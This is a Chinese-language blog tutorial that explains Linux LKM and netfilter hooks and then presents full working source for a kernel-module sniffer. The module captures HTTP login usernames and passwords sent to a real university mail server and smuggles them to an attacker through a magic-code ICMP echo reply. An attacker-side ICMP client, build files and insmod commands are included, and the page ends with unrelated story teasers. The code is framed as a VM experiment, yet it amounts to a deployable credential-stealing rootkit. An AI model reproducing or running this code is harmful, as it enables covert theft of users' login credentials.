基于netfilter和LKM实现http明文登录的密码窃取

一、实验介绍及环境说明


主机 ip 内核版本
虚拟机A(攻击者主机) 192.168.8.103 Linux 4.15.0-106-generic
虚拟机B(被攻击者主机) 192.168.8.104 Linux 4.15.0-106-generic

实验流程:在虚拟机B上使用LVM把攻击代码插入内核模块,然后使用虚拟机A向虚拟机B发送自己构建的带有Magic number的ICMP报文,当虚拟机B使用HTTP的方式登录某个网站时,虚拟机A就会拿到明文的用户名及密码。

二、基础知识


2.1 LKM介绍

攻击Linux的最高技术之一就是使用内核代码。这种内核代码可据其特性称为可加载内核模块(Loadable Kernel Module,LKM),是一段运行在内核空间的代码,可以访问操作系统最核心的部分。

LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点是动态加载,在不重编译内核和重启系统的条件下对类Unix系统的系统内核进行修改和扩展。否则的话,对Kernel代码的任何修改,都需要重新编译Kernel,大大浪费了时间和效率。大多数的Unix派生系统,包括Linux、BSD、OSX等都支持这个特性。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),如声卡的驱动程序等等。

LKM 包含 entryexit 函数,当向内核插入模块时,调用entry 函数,从内核删除模块时则调用 exit 函数。在 2.6 版本之后,可以任意命名这些函数 entry 和 exit 函数,所以存在module_initmodule_exit宏,用于定义这些函数属于哪种函数。LKM 还包含一组必要的宏和一组可选的宏,用于定义模块的许可证、模块的作者、模块的描述等等。

编译的话,LKM也和应用层代码使用的gcc或者g++不同,Kernel Module使用Makefile,kbuild。

Linus:“Talk is cheap. Show me the code”

下面看一下基于LKM实现的“hello world”。代码及命令如下:

/* hello.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init init_my_module(void) {
  printk(KERN_INFO "Hello, Kernel!\n");
  return 0;
}

static void __exit exit_my_module(void) {
  printk(KERN_INFO "Bye, Kernel!\n");
}

module_init(init_my_module);
module_exit(exit_my_module);
// 下面的为可选部分
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TEST");
/* Makefile */
obj-m += hello.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
        CONFIG_MODULE_SIG=n  // 注意加上这句,不然报错
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean                      
make
sudo insmod hello.ko
dmesg | tail     //查看这个hello kernel在内核中的输出

2.2 netfilter的介绍

Netfilter是从Linux 2.4开始引入内核的一个子系统,架构就是在整个网络流程的若干位置放置了一些检测点(HOOK),而在每个检测点上登记了一些处理函数进行处理(如包过滤,NAT等,以及可以是 用户自定义的功能)

Netfilter与内核协议栈

IP层的五个HOOK点的位置如下所示,具体位置见这篇文章

NF_IP_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测), 目的地址转换在此点进行;
NF_IP_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
NF_IP_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;
NF_IP_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;
NF_IP_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。
HOOK位置

NF_IP_PRE_ROUTING 这个HOOK是数据包被接收到之后调用的第一个HOOK,这个HOOK既是稍后将要描述的模块所用到的。当然,其它的HOOK同样非常有用,但是在这里,我们的焦点是在 NF_IP_PRE_ROUTING 这个HOOK上。在hook函数完成了对数据包所需的任何的操作之后,它们必须返回下列预定义的Netfilter返回值中的一个:

/* Netfilter返回值 */
    返回值                  含义
NF_DROP                 丢弃该数据包
NF_ACCEPT               保留该数据包
NF_STOLEN               忘掉该数据包
NF_QUEUE                将该数据包插入到用户空间
NF_REPEAT               再次调用该hook函数
  • NF_DROP返回码意味着应该完全删除此数据包并且应该释放为其分配的任何资源。

  • NF_ACCEPT告诉Netfilter到目前为止数据包仍然可以接受并且它应该移动到Network堆栈的下一阶段。

  • NF_STOLEN很有趣的,因为它告诉Netfilter “忘记” 数据包。这告诉Netfilter,钩子函数将从这里处理这个数据包,Netfilter应该放弃它的所有处理。但是,这并不意味着数据包的资源被释放。数据包及其钩子的sk_buff结构仍然有效,只是钩子函数已经从Netfilter获得了数据包的所有权

  • NF_QUEUE将数据包排入队列,通常是将数据包发送给用户进程空间处理

  • NF_REPEAT请求Netfilter再次调用hook函数。显然,必须小心使用NF_REPEAT以避免无限循环。

2.3 sk_buff数据结构简介

socket buffers,简称skb,中文名字叫套接字缓存。它作为网络数据包的存放地点,使得协议栈中每个层都可以对数据进行操作,从而实现了数据包自底向上的传递。该结构维护收到的或者要发送的网络包。sk_buff是一个双向链表。在较新的内核版本上,sk_buff中已经没有了list成员。


sk_buff双向链表

sk_buff说明了如何访问存储区空间,如何维护多个存储区空间以及存储网络包解析的结果。内核中sk_buff结构体在各层协议之间传输不是用拷贝sk_buff结构体,而是通过增加协议头和移动指针来操作的。如果是从L4传输到L2,则是通过往sk_buff结构体中增加该层协议头来操作;如果是从L4到L2,则是通过移动sk_buff结构体中的data指针来实现,不会删除各层协议头。

sk_buff是一个很复杂的数据结构,只看和我们的操作比较相关的一部分:

 __be16            protocol;
    /* 传输层头部相对于head的偏移 */
    __u16            transport_header;
    /* 网络层头部相对于head的偏移 */
    __u16            network_header;
    /* 链路层头部相对于head的偏移 */
    __u16            mac_header;
 
    /* private: */
    __u32            headers_end[0];
    /* public: */
 
    /* These elements must be at the end, see alloc_skb() for details.  */
    /* 实际数据的尾部 */
    sk_buff_data_t        tail;
    /* 缓冲区的尾部 */
    sk_buff_data_t        end;
    /* 缓冲区的头部 */
    unsigned char        *head,
    /* 实际数据的头部 */
                *data;
    /*
        缓冲区的总大小,包括skb本身和实际数据len大小,alloc_skb函数将
        该字段设置为len+sizeof(sk_buff)
        每当len值更新,该值也要对应更新
    */
    unsigned int        truesize;
    
    /* 
        引用计数,在使用该skb缓冲区的实例个数,当引用计数为0时,skb才能被释放
        skb_get()获取操作中会增加引用计数,kfree_skb释放过程中检查引用计数,
        引用计数为0时,才真正释放skb
        该计数器只计算sk_buff结构引用计数,缓冲区包含的实际数据由
        skb_shared_info->dataref字段记录
    */
    atomic_t        users;
};

因为数据区在协议栈走的时候要一层层添加或去掉一些数据(比如报头)所以申请一块大的足够的内存,然后在往里放东西。真实的实际数据可能用不了这么多,所以用data,tail指向真实的,head,tail指向边界。刚开始没填充数据时前三个指针指向的是一个地方:

下面列出了一些常用语操作sk_buff的方法:

/* 获得TCP头部的起始位置 */
static inline unsigned char *skb_transport_header(const struct sk_buff *skb){
        return skb->head + skb->transport_header;
}
/* 获得IP头部的起始位置 */
static inline unsigned char *skb_network_header(const struct sk_buff *skb){
        return skb->head + skb->network_header;
}
/* 获得MAC层头部的起始位置 */
static inline unsigned char *skb_mac_header(const struct sk_buff *skb){
        return skb->head + skb->mac_header;
}

三、代码实现及效果展示


3.1 网站分析

本次攻击的网站就拿学校的邮箱系统来做实验。首先,要搞清楚网页提交密码的格式,然后才好使用netfilter对密码对数据包进行用户名和密码的提取。打开网站随便输入一个用户名和密码,使用wireshark抓包分析如下:

http://mail.ustc.edu.cn/

根据ip过滤掉无用报文,找到POST报文展开
报文的一些关键信息

表单信息

需要获得的关键信息:

  • ip地址:202.38.64.8
  • 表单中用户名的key:uid
  • 表单中密码的key:password
  • TCP data中,用于定位用户名和密码的flag:比如下面的实现中,使用的是Upgrade-Insecure-Requests

3.2 代码详解

代码和Phrack Magazine网站给的FTP密码嗅探器示例差不多,上篇文章有对基于内核的FTP密码嗅探器的源码分析,感兴趣可以看一下。本次实验的代码及其详解如下:

/* 编译内核模块所需的Makefile */
obj-m += sniffer.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
        CONFIG_MODULE_SIG=n 
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean                                                                       
/*
 * @Author: fxding2019@gmail.com
 * @Date: 2020-06-17 17:53:08
 * @LastEditTime: 2020-06-17 17:55:38
 * @LastEditors: fxding2019@gmail.com
 * @Description: 内核嗅探模块 sniffer.c
 */ 

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE 0x5B // ICMP CODE
#define REPLY_SIZE 36   // tartget_ip(4B) + 预留username(16B) + 预留password(16B)

#define SUCCESS  1
#define FAILURE -1

/* 
 * 这个是写死的,因为对不同服务器密码嗅探时,字符解析稍有不同,不具有普遍适用性
 */ 
static const unsigned int target_ip = 138421962 ; // email.ustc.edu.cn

static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;

/* Used to describe our Netfilter hooks */
static struct nf_hook_ops pre_hook;      /* Incoming */
static struct nf_hook_ops post_hook;    /* Outgoing */

/*从HTTP数据包中抓取 username, password */
static void check_http(struct sk_buff *skb) {

    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL; // tcp data

    char *name;
    char *passwd;
    char *token_and;
    char *flag;
    int len,i;

    /* ip:得到的ip数据包
     * tcp:得到的tcp数据包
     * data:把指针移动到tcp有效载荷
    */
    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);
    data = (char *)tcp + (tcp->doff<<2);

    // 用户名和密码的value都不为空
    if (strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
        // 查找data中出现Connection的位置
        flag = strstr(data,"Upgrade-Insecure-Requests");
        // 在locale_flag后查找"uid=",找最后一次出现的位置
        name = strstr(flag,"uid=");
        // "uid="后面的"&"
        token_and = strstr(name,"&");
        // 跳过"uid=",指向实际值
        name += 4;
        // len是整个username值的长度
        len = token_and - name;

        //kmalloc:分配内核空间的内存:len+2:要分配内存的大小,GFP_KERNEL:要分配内存的类型
        if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;
        // 初始化内存
        memset(username, 0x00, len + 2);

        // 把username值取出
        for (i = 0; i < len; ++i){
            *(username + i) = name[i];
        }
        // 末尾加上结束符
        *(username + len) = '\0';
        printk("username: %s\n", username);
        
        /* 同样的方法操作获得password */ 
        passwd = strstr(name,"password=");
        token_and = strstr(passwd,"&");
        passwd += 9;
        len = token_and - passwd;

        if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;

        memset(password, 0x00, len + 2);
        for (i = 0; i < len; ++i){
            *(password + i) = passwd[i];
        }
        *(password + len) = '\0';
    }
    else{
        return ;
    }
    // 如果得到,就把标志置1
    if (username && password)
        have_pair++;
}


/**
 * 在POST_ROUTING HOOK点处过滤数据包,POST_ROUTING,将数据包发送出去的前一个HOOK点;
 * 用于监听本机往外发送的数据包,并从中提取出所需的username,password
 */
static unsigned int watch_out(void *priv,
                              struct sk_buff *skb,
                              const struct nf_hook_state *state) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;

    // 数据包过滤
    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);

    // 把非TCP报文过滤和端口非80的放行
    if (tcp->dest != htons(80) || ip->protocol != IPPROTO_TCP)
        return NF_ACCEPT;                             

    // 如果还没有拿到密码,则对数据包进行解析    
    if (!have_pair)
        check_http(skb);

    // 处理完放行
    return NF_ACCEPT;
}

/*
 * 在PRE_ROUTING HOOK点处过滤数据包,把发来的代码Magic number的ICMP数据报
 * 填上我们偷到的用户名和密码以及server IP后再让其原路返回
*/
static unsigned int watch_in(void *priv,
                             struct sk_buff *skb,
                             const struct nf_hook_state *state) {
    struct iphdr *ip = NULL;
    struct icmphdr *icmp = NULL;
    int icmp_payload_len = 0;   // 相当于窃取ftp代码中的宏定义ICMP_PAYLOAD_SIZE
    char *cp_data = NULL;       /* Where we copy data to in reply */
    unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

    // 得到ip数据包
    ip = (struct iphdr *)skb_network_header(skb);

    // 如果不是ICMP数据包 或者 已经拿到用户名和密码了 ==> 放行
    if (!have_pair || ip->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;

    // 得到icmp数据包
    icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));

    // icmp_payload_len为icmp数据的有效载荷(出去icmp头部8B)
    icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;

    // 再次验证是不是MAGIC_CODE的icmp
    if (icmp->code != MAGIC_CODE
        || icmp->type != ICMP_ECHO
        || icmp_payload_len < REPLY_SIZE) {
        return NF_ACCEPT;
    }

    // 交换源、目的IP,往回发包
    temp_ipaddr = ip->saddr;
    ip->saddr = ip->daddr;
    ip->daddr = temp_ipaddr;

    //表明数据包是向外发的
    skb->pkt_type = PACKET_OUTGOING;

    //确定这个数据包来自的什么类型的接口
    switch (skb->dev->type) {
        case ARPHRD_PPP: break;     /* No fiddling needs doing */
        case ARPHRD_LOOPBACK:   
        case ARPHRD_ETHER: {
            unsigned char temp_hwaddr[ETH_ALEN];
            struct ethhdr *eth = NULL;

            /* 移动数据指针指向链接层头,改变链路头的h_dest和 h_source*/
            eth = (struct ethhdr *)eth_hdr(skb);
            skb->data = (unsigned char*)eth;
            skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
            memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
            memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
            memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
            break;
        }
    }

     /* 复制IP地址,然后用户名,然后密码到数据包中 */
    cp_data = (char *)icmp + 8;
    memcpy(cp_data, &target_ip, 4);     // target_ip四个字节
    memcpy(cp_data+4, username, 16);    // username预留16字节
    memcpy(cp_data+20, password, 16);   // password预留16字节

     // 发送数据帧
    dev_queue_xmit(skb);

    /* 释放保存的用户名和密码并重置have_pair */
    kfree(username);
    kfree(password);
    username = password = NULL;
    have_pair = 0;
    return NF_STOLEN;
}
/* 注册模块 */
int init_module(void) {
    pre_hook.hook = watch_in;                    //回调函数为watch_in
    pre_hook.pf = PF_INET;                      //协议类型:PF_INET,面向IP层的原始套接字
    pre_hook.hooknum = NF_INET_PRE_ROUTING;     //关键点:对netfilter的PRE_ROUTING位置操作,钩子调用的函数
    pre_hook.priority = NF_IP_PRI_FIRST;       //优先级

    /* 分析如上 */ 
    post_hook.hook = watch_out;
    post_hook.pf = PF_INET;
    post_hook.hooknum = NF_INET_POST_ROUTING;    //关键点:对netfilter的POST_ROUTING位置操作,钩子调用的函数
    post_hook.priority = NF_IP_PRI_FIRST;      


    nf_register_net_hook(&init_net, &pre_hook);
    nf_register_net_hook(&init_net, &post_hook);
    printk("hello sniffer\n");  
    return 0;
}

/* 注销模块 */
void cleanup_module(void) {
    nf_unregister_net_hook(&init_net, &pre_hook);
    nf_unregister_net_hook(&init_net, &post_hook);
    printk("sniffer clean\n");
    //注销模块时释放内存
    if (password)
        kfree(password);
    if (username)
        kfree(username);
}
/*
 * @Author: fxding2019@gmail.com
 * @Date: 2020-06-17 17:53:08
 * @LastEditTime: 2020-06-17 17:56:26
 * @LastEditors: fxding2019@gmail.com
 * @Description: 攻击者模块 getpass.c
 */ 
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>

#define BUFF_SIZE  256
#define SUCCESS    1
#define FAILURE    -1
#define MAGIC_CODE 0x5B // ICMP ECHO CODE

struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];

/* 函数声明 */
unsigned short cksum(unsigned short *, int len);
int send_icmp_request();
int recv_icmp_reply();



int main(int argc, char **argv) {
    if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0){
         fprintf(stderr, "Usage:  %s  remoteIP\n", argv[0]);
         return 0;
         
    }
    recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (recvsockfd < 0 || sendsockfd < 0) {
        perror("socket creation error");
        return FAILURE;
    }
    
    // 先发生再接收,这里也可以使用一个套接字,下面方法是使用两个不同的
    send_icmp_request();
    recv_icmp_reply();
    close(sendsockfd);
    close(recvsockfd);

    return 0;
}

/*发送ICMP回送请求报文 */
int send_icmp_request() {
    bzero(sendbuff, BUFF_SIZE);
    // 构造ICMP ECHO首部
    struct icmp *icmp = (struct icmp *)sendbuff;
    icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
    icmp->icmp_code = MAGIC_CODE;  // key point
    icmp->icmp_cksum = 0;
    // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
    icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

    printf("sending request........\n");
    int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
    if (ret < 0) {
        perror("send error");
    } else {
        printf("send a icmp echo request packet!\n\n");
    }
    return SUCCESS;
}

/* 接收ICMP回送回答报文 */
int recv_icmp_reply() {
    bzero(recvbuff, BUFF_SIZE);
    printf("waiting for reply......\n");
    if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
        printf("failed getting reply packet\n");
        return FAILURE;
    }

    // 跳过ip头部,得到icmp报文
    struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
    // 跳过icmp头部,copy 4个字节的server_addr
    memcpy(&server_addr, (char *)icmp+8, 4);
    
    printf("Stolen from http server: %s\n", inet_ntoa(server_addr));
    printf("Username: %s\n", (char *)((char *)icmp + 12));
    printf("Password: %s\n", (char *)((char *)icmp + 28));
    return SUCCESS;
}

/* 计算校验和 */
unsigned short cksum(unsigned short *addr, int len) {
    int sum = 0;
    unsigned short res = 0;
    /* len -= 2,因为 sizeof(unsigned short) = 2;
     * sum += *(addr++),每次偏移2Byte
     */
    for (; len > 1; sum += *(addr++), len -= 2);
    // 每次处理2Byte,可能会存在多余的1Byte
    sum += len == 1 ? *addr : 0;
    // sum:高16位 + 低16位,高16位中存在可能的进位
    sum = (sum >> 16) + (sum & 0xffff);
    // sum + sum的高16位,高16位中存在可能的进位
    sum += (sum >> 16);
    // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
    res = ~sum;
    return res;
}

代码关键点解析:

  • HOOK点:为什么要在PRE_ROUTING和POST_ROUTING放钩子呢,通过上面HOOK位置一图可以看出,PRE_ROUTING是数据包的入口点,POST_ROUTING是数据包的出口点。主机需要给服务器POST数据,所以在出口点过滤数据包,拿到用户名和密码。入口点过滤Magic number ICMP报文,然后把拿到的用户名和密码嵌入后再转发出去

  • IP地址:实验代码直接把IP地址写死了,毕竟数据包分析用户名和密码时也不具有普遍适用性。这点和FTP密码窃取稍有不同。IP地址使用的是十进制表示。

  • 在data中匹配用户名和密码:


    由上图可以看出,uid等多次出现,真正的uid和passwod是出现在tcp data的最后面的。上面代码使用的方式是找到一个离真实uid最近的,具有唯一性的一个flag:Upgrade-Insecure-Requests。然后再进行匹配。

  • kmalloc与memset:kmalloc申请的内存位于物理内存映射区域,而且在物理上也是连续的。另外,在用户空间使用kmalloc会先打白条,真正分配的时候再产生缺页异常再真正的分配;内核空间使用kmalloc会直接分配内存。memset来进行内存初始化

  • dev_queue_xmit:linux内核太构造数据包的第二种方式就是直接调用dev_queue_xmit函数,将构造完毕的数据包直接发送到网卡驱动。从NF框架来看,该函数的调用是在 POSTROUTING点之后了,也可以理解为直接通过调用二层的发送函数,将三层构造的数据包发送出去。该函数实际上会调用 skb->dev->hard_start_xmit,即对应网卡的驱动函数,将数据包直接发送的出去。

    该函数发送的内容应该是从二层头部开始,到数据包的结束。因此,如果三层构造的数据包,想调用该函数直接发送数据包的话,则需要修改数据包的源和目的MAC,并将skb->data指针指向MAC头部,以及skb->len的值也要加上头部的长度方法

  • watch_out / watch_in回调函数参数:
    注册钩子函数是一个非常简单的过程,主要就是Linux/netfilter.h中定义的nf_hook_ops结构。该结构的定义如下:

      struct nf_hook_ops {
          struct list_head list;
    
          /* User fills in from here down. */
          nf_hookfn *hook;
          int pf;
          int hooknum;
          /* Hooks are ordered in ascending priority. */
          int priority;
     };
    

    hook成员是一个指向nf_hookfn类型的函数的指针,该函数是这个hook被调用时执行的函数。在linux/v4.15/的/linux/netfilter.h中可以看到结构体的定义已经有所变化

    /linux/netfilter.h

  • 注册和注销模块的函数:之前的nf_register_hook以及nf_unregister_hook已经在新版本的内核中换掉了,查看
    linux/v4.15/source/include/linux/netfilter.h可以看到4.15内核已经换成nf_register_net_hook以及nf_unregister_net_hook,并且其还需要一个net*的参数,这个参数是已经定义好的值(init_net):

3.3 效果展示

首先把sniffer.c和Makefile放在同一目录,接着在受害者主机上插入内核模块。执行以下命令:

make
sudo insmod sniffer.ko
dmesg | tail  // 查看是否插入成功,插入成功会有打印hello kernel
嵌入内核模块过程

然后受害者可以登录邮箱系统,攻击者执行程序就可以获得用户名和密码:

sudo ./getpass 192.168.8.104
192.168.8.104填写密码和用户名
192.168.8.103发动攻击

3.4 分析总结

可以看到,与FTP嗅探器的主要不同点有:

  • watch_out和watch_in的参数有所变动
  • 对数据包分析并提取密码时有所不同
  • 获得tcp和ip头部可以使用函数skb_transport_header/ skb_network_header
  • 注册/注销内核模块函数有所变化(注意对比查看)

除了对密码的提取,以上变动主要原因就是内核版本的变化。

参考文章:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,776评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,527评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,361评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,430评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,511评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,544评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,561评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,315评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,763评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,070评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,235评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,911评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,554评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,173评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,424评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,106评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,103评论 2 352